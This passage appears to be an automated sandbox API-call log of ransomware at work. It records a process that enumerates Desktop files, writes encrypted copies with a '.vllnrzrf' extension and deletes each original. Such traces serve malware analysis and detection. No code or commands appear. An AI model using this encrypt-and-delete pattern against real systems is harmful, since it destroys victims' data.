dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0088.975] GetFileType (hFile=0x450) returned 0x1 [0088.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0088.975] GetFileType (hFile=0x450) returned 0x1 [0088.975] WriteFile (in: hFile=0x450, lpBuffer=0x22d4ca0*, nNumberOfBytesToWrite=0x1055b, lpNumberOfBytesWritten=0x1cfce6b8, lpOverlapped=0x0 | out: lpBuffer=0x22d4ca0*, lpNumberOfBytesWritten=0x1cfce6b8*=0x1055b, lpOverlapped=0x0) returned 1 [0088.977] CloseHandle (hObject=0x450) returned 1 [0088.979] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", lpFilePart=0x0) returned 0x42 [0088.979] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", nBufferLength=0x105, lpBuffer=0x1cfce250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png", lpFilePart=0x0) returned 0x42 [0088.979] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\p2DunJF_drBh.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\p2dunjf_drbh.png")) returned 1 [0088.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", lpFilePart=0x0) returned 0x42 [0088.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", lpFilePart=0x0) returned 0x42 [0088.983] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", lpFilePart=0x0) returned 0x42 [0088.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0088.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\qngnc9_ag tu.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0088.984] GetFileType (hFile=0x450) returned 0x1 [0088.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0088.984] GetFileType (hFile=0x450) returned 0x1 [0088.984] GetFileSize (in: hFile=0x450, lpFileSizeHigh=0x1cfce728 | out: lpFileSizeHigh=0x1cfce728*=0x0) returned 0x11359 [0088.984] ReadFile (in: hFile=0x450, lpBuffer=0x22e5e30, nNumberOfBytesToRead=0x11359, lpNumberOfBytesRead=0x1cfce658, lpOverlapped=0x0 | out: lpBuffer=0x22e5e30*, lpNumberOfBytesRead=0x1cfce658*=0x11359, lpOverlapped=0x0) returned 1 [0088.986] CloseHandle (hObject=0x450) returned 1 [0089.102] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3.vllnrzrf", lpFilePart=0x0) returned 0x4b [0089.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0089.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\qngnc9_ag tu.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0089.102] GetFileType (hFile=0x450) returned 0x1 [0089.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0089.102] GetFileType (hFile=0x450) returned 0x1 [0089.102] WriteFile (in: hFile=0x450, lpBuffer=0x2345988*, nNumberOfBytesToWrite=0x11559, lpNumberOfBytesWritten=0x1cfce6b8, lpOverlapped=0x0 | out: lpBuffer=0x2345988*, lpNumberOfBytesWritten=0x1cfce6b8*=0x11559, lpOverlapped=0x0) returned 1 [0089.105] CloseHandle (hObject=0x450) returned 1 [0089.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", lpFilePart=0x0) returned 0x42 [0089.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", nBufferLength=0x105, lpBuffer=0x1cfce250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3", lpFilePart=0x0) returned 0x42 [0089.106] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\qngnc9_aG tU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\qngnc9_ag tu.mp3")) returned 1 [0089.108] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", lpFilePart=0x0) returned 0x3a [0089.108] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", lpFilePart=0x0) returned 0x3a [0089.108] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", lpFilePart=0x0) returned 0x3a [0089.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0089.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\ri b.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0089.109] GetFileType (hFile=0x450) returned 0x1 [0089.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0089.109] GetFileType (hFile=0x450) returned 0x1 [0089.109] GetFileSize (in: hFile=0x450, lpFileSizeHigh=0x1cfce728 | out: lpFileSizeHigh=0x1cfce728*=0x0) returned 0xc8d0 [0089.109] ReadFile (in: hFile=0x450, lpBuffer=0x2357ac8, nNumberOfBytesToRead=0xc8d0, lpNumberOfBytesRead=0x1cfce658, lpOverlapped=0x0 | out: lpBuffer=0x2357ac8*, lpNumberOfBytesRead=0x1cfce658*=0xc8d0, lpOverlapped=0x0) returned 1 [0089.110] CloseHandle (hObject=0x450) returned 1 [0089.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv.vllnrzrf", lpFilePart=0x0) returned 0x43 [0089.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0089.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\ri b.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0089.257] GetFileType (hFile=0x450) returned 0x1 [0089.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0089.257] GetFileType (hFile=0x450) returned 0x1 [0089.257] WriteFile (in: hFile=0x450, lpBuffer=0x239e580*, nNumberOfBytesToWrite=0xcad0, lpNumberOfBytesWritten=0x1cfce6b8, lpOverlapped=0x0 | out: lpBuffer=0x239e580*, lpNumberOfBytesWritten=0x1cfce6b8*=0xcad0, lpOverlapped=0x0) returned 1 [0089.259] CloseHandle (hObject=0x450) returned 1 [0089.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", lpFilePart=0x0) returned 0x3a [0089.264] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", nBufferLength=0x105, lpBuffer=0x1cfce250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv", lpFilePart=0x0) returned 0x3a [0089.264] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\Ri B.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\ri b.flv")) returned 1 [0089.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", lpFilePart=0x0) returned 0x3c [0089.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", lpFilePart=0x0) returned 0x3c [0089.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", lpFilePart=0x0) returned 0x3c [0089.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0089.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\ywdtq4.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0089.431] GetFileType (hFile=0x450) returned 0x1 [0089.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0089.431] GetFileType (hFile=0x450) returned 0x1 [0089.431] GetFileSize (in: hFile=0x450, lpFileSizeHigh=0x1cfce728 | out: lpFileSizeHigh=0x1cfce728*=0x0) returned 0x51b0 [0089.431] ReadFile (in: hFile=0x450, lpBuffer=0x23abc10, nNumberOfBytesToRead=0x51b0, lpNumberOfBytesRead=0x1cfce658, lpOverlapped=0x0 | out: lpBuffer=0x23abc10*, lpNumberOfBytesRead=0x1cfce658*=0x51b0, lpOverlapped=0x0) returned 1 [0089.433] CloseHandle (hObject=0x450) returned 1 [0089.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3.vllnrzrf", lpFilePart=0x0) returned 0x45 [0089.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfce590) returned 1 [0089.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\ywdtq4.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0089.443] GetFileType (hFile=0x450) returned 0x1 [0089.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfce500) returned 1 [0089.443] GetFileType (hFile=0x450) returned 0x1 [0089.443] WriteFile (in: hFile=0x450, lpBuffer=0x23d4948*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x1cfce6b8, lpOverlapped=0x0 | out: lpBuffer=0x23d4948*, lpNumberOfBytesWritten=0x1cfce6b8*=0x53b0, lpOverlapped=0x0) returned 1 [0089.445] CloseHandle (hObject=0x450) returned 1 [0089.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", nBufferLength=0x105, lpBuffer=0x1cfce0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", lpFilePart=0x0) returned 0x3c [0089.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", nBufferLength=0x105, lpBuffer=0x1cfce250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3", lpFilePart=0x0) returned 0x3c [0089.448] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\7LQmm\\YWDTq4.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\7lqmm\\ywdtq4.mp3")) returned 1 [0089.450] CoUninitialize () Thread: id = 58 os_tid = 0xb68 [0089.492] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0089.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ce8e040, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0089.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e4a0) returned 1 [0089.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", nBufferLength=0x105, lpBuffer=0x1ce8df90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL", lpFilePart=0x0) returned 0x32 [0089.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\", nBufferLength=0x105, lpBuffer=0x1ce8df30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\", lpFilePart=0x0) returned 0x33 [0089.493] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\*.*", lpFindFileData=0x1ce8e140 | out: lpFindFileData=0x1ce8e140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa282ace0, ftCreationTime.dwHighDateTime=0x1d5e405, ftLastAccessTime.dwLowDateTime=0x757476e0, ftLastAccessTime.dwHighDateTime=0x1d5e075, ftLastWriteTime.dwLowDateTime=0x757476e0, ftLastWriteTime.dwHighDateTime=0x1d5e075, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0089.494] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce8e190 | out: lpFindFileData=0x1ce8e190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa282ace0, ftCreationTime.dwHighDateTime=0x1d5e405, ftLastAccessTime.dwLowDateTime=0x757476e0, ftLastAccessTime.dwHighDateTime=0x1d5e075, ftLastWriteTime.dwLowDateTime=0x757476e0, ftLastWriteTime.dwHighDateTime=0x1d5e075, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.494] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce8e190 | out: lpFindFileData=0x1ce8e190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67371f70, ftCreationTime.dwHighDateTime=0x1d5e204, ftLastAccessTime.dwLowDateTime=0x3e6429b0, ftLastAccessTime.dwHighDateTime=0x1d5e378, ftLastWriteTime.dwLowDateTime=0x3e6429b0, ftLastWriteTime.dwHighDateTime=0x1d5e378, nFileSizeHigh=0x0, nFileSizeLow=0x7667, dwReserved0=0x0, dwReserved1=0x0, cFileName="6j2ngSMiR.mkv", cAlternateFileName="6J2NGS~1.MKV")) returned 1 [0089.494] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce8e190 | out: lpFindFileData=0x1ce8e190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95143480, ftCreationTime.dwHighDateTime=0x1d5dd4c, ftLastAccessTime.dwLowDateTime=0xcd303540, ftLastAccessTime.dwHighDateTime=0x1d5d7ec, ftLastWriteTime.dwLowDateTime=0xcd303540, ftLastWriteTime.dwHighDateTime=0x1d5d7ec, nFileSizeHigh=0x0, nFileSizeLow=0x16a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoVv.png", cAlternateFileName="")) returned 1 [0089.494] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce8e190 | out: lpFindFileData=0x1ce8e190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0ad90, ftCreationTime.dwHighDateTime=0x1d5d9f4, ftLastAccessTime.dwLowDateTime=0xdb463d60, ftLastAccessTime.dwHighDateTime=0x1d5da75, ftLastWriteTime.dwLowDateTime=0xdb463d60, ftLastWriteTime.dwHighDateTime=0x1d5da75, nFileSizeHigh=0x0, nFileSizeLow=0xb713, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jt74k.avi", cAlternateFileName="")) returned 1 [0089.657] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce8e190 | out: lpFindFileData=0x1ce8e190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f8af7e0, ftCreationTime.dwHighDateTime=0x1d5da19, ftLastAccessTime.dwLowDateTime=0xfd6cee30, ftLastAccessTime.dwHighDateTime=0x1d5e177, ftLastWriteTime.dwLowDateTime=0xfd6cee30, ftLastWriteTime.dwHighDateTime=0x1d5e177, nFileSizeHigh=0x0, nFileSizeLow=0xb725, dwReserved0=0x0, dwReserved1=0x0, cFileName="QXGVUV_.avi", cAlternateFileName="")) returned 1 [0089.657] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce8e190 | out: lpFindFileData=0x1ce8e190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211756c0, ftCreationTime.dwHighDateTime=0x1d5e6e3, ftLastAccessTime.dwLowDateTime=0x43000a30, ftLastAccessTime.dwHighDateTime=0x1d5dfad, ftLastWriteTime.dwLowDateTime=0x43000a30, ftLastWriteTime.dwHighDateTime=0x1d5dfad, nFileSizeHigh=0x0, nFileSizeLow=0x189c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WaMXn_DN7O-C3wQ.odt", cAlternateFileName="WAMXN_~1.ODT")) returned 1 [0089.657] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce8e190 | out: lpFindFileData=0x1ce8e190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f88cee0, ftCreationTime.dwHighDateTime=0x1d5e77c, ftLastAccessTime.dwLowDateTime=0xb0922470, ftLastAccessTime.dwHighDateTime=0x1d5db4d, ftLastWriteTime.dwLowDateTime=0xb0922470, ftLastWriteTime.dwHighDateTime=0x1d5db4d, nFileSizeHigh=0x0, nFileSizeLow=0x6bc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="zbgRIvH-h7PmK-.gif", cAlternateFileName="ZBGRIV~1.GIF")) returned 1 [0089.657] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce8e190 | out: lpFindFileData=0x1ce8e190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1347c90, ftCreationTime.dwHighDateTime=0x1d5db67, ftLastAccessTime.dwLowDateTime=0xd2b1ece0, ftLastAccessTime.dwHighDateTime=0x1d5dfdd, ftLastWriteTime.dwLowDateTime=0xd2b1ece0, ftLastWriteTime.dwHighDateTime=0x1d5dfdd, nFileSizeHigh=0x0, nFileSizeLow=0xc819, dwReserved0=0x0, dwReserved1=0x0, cFileName="_pRz.avi", cAlternateFileName="")) returned 1 [0089.657] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ce8e190 | out: lpFindFileData=0x1ce8e190*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0089.657] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0089.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e3f0) returned 1 [0089.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e3b0) returned 1 [0089.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", lpFilePart=0x0) returned 0x40 [0089.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", lpFilePart=0x0) returned 0x40 [0089.659] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv", lpFilePart=0x0) returned 0x40 [0089.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0089.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\6j2ngsmir.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464 [0089.659] GetFileType (hFile=0x464) returned 0x1 [0089.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0089.659] GetFileType (hFile=0x464) returned 0x1 [0089.659] GetFileSize (in: hFile=0x464, lpFileSizeHigh=0x1ce8e528 | out: lpFileSizeHigh=0x1ce8e528*=0x0) returned 0x7667 [0089.659] ReadFile (in: hFile=0x464, lpBuffer=0x23e0b78, nNumberOfBytesToRead=0x7667, lpNumberOfBytesRead=0x1ce8e458, lpOverlapped=0x0 | out: lpBuffer=0x23e0b78*, lpNumberOfBytesRead=0x1ce8e458*=0x7667, lpOverlapped=0x0) returned 1 [0089.660] CloseHandle (hObject=0x464) returned 1 [0089.670] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce8deb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv.vllnrzrf", lpFilePart=0x0) returned 0x49 [0089.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce8e390) returned 1 [0089.670] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\ZgQPfL\\6j2ngSMiR.mkv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\efcsb\\zgqpfl\\6j2ngsmir.mkv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x464 [0089.670] GetFileType (hFile=0x464) returned 0x1 [0089.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce8e300) returned 1 [0089.671] GetFileType (hFile=0x464) returned 0x1 [0089.671] WriteFile (in: hFile=0x464, lpBuffer=0x241a7a0*, nNumberOfBytesToWrite=0x7867, lpNumberOfBytesWritten=0x1ce8e4b8, lpOverlapped=0x0 | out: lpBuffer=0x241a7a0*, lpNumberOfBytesWritten=0x1ce8e4b8*=0x7867, lpOverlapped=0x0) returned 1 [0089.672] CloseHandle 